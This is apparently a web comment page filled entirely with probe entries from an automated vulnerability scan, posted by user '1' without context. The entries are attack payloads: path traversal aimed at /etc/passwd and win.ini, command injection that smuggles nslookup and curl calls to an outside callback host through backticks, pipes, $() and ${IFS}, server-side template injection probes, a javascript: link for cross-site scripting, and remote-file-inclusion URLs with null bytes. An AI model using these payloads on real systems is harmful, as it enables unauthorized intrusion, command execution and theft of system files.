[No.29]  by.1

<a HrEF=jaVaScRiPT:>

[No.28]  by.1

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

[No.27]  by.1

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

[No.26]  by.1

dfb{{'abcd'.toUpperCase()}}xca

[No.25]  by.1

dfb{{{this}}}xca

[No.24]  by.1

dfb{{"abc"|title}}xca

[No.23]  by.1

<!--

[No.22]  by.1

'"

[No.21]  by.1

contentsPageComment.html/.

[No.20]  by.1

contentsPageComment.html

[No.19]  by.1

contentsPageComment.html

[No.18]  by.1

bxss.me/t/rfi.php?%00

[No.17]  by.1

bxss.me/t/xss.html?%00

[No.16]  by.1

redirtest.acx

[No.15]  by.1

'"()

[No.14]  by.1

!(()&&!|*|*|

[No.13]  by.1

)

[No.12]  by.1

bxss.me

[No.11]  by.1

c:/windows/win.ini

[No.10]  by.1

../../../../../../../../../../../../../../etc/shells

[No.9]  by.1

|(nslookup${IFS}-q${IFS}cname${IFS}hitzdiocvtssr0df09.bxss.me||curl${IFS}hitzdiocvtssr0df09.bxss.me)

[No.8]  by.1

/etc/shells

[No.7]  by.1

`(nslookup -q=cname hitxsyotbpzpd77e25.bxss.me||curl hitxsyotbpzpd77e25.bxss.me)`

[No.6]  by.1

|(nslookup -q=cname hitgthkcuwslj460be.bxss.me||curl hitgthkcuwslj460be.bxss.me)

[No.5]  by.1

&nslookup -q=cname hitcvtdeufjsf34e6b.bxss.me&'\"`0&nslookup -q=cname hitcvtdeufjsf34e6b.bxss.me&`'

[No.4]  by.1

$(nslookup -q=cname hitqqrmvzsbom86384.bxss.me||curl hitqqrmvzsbom86384.bxss.me)

[No.3]  by.1

(nslookup -q=cname hitkzilahdhmq7f75d.bxss.me||curl hitkzilahdhmq7f75d.bxss.me))

[No.2]  by.1

../../../../../../../../../../../../../../windows/win.ini

[No.1]  by.1

../../../../../../../../../../../../../../etc/passwd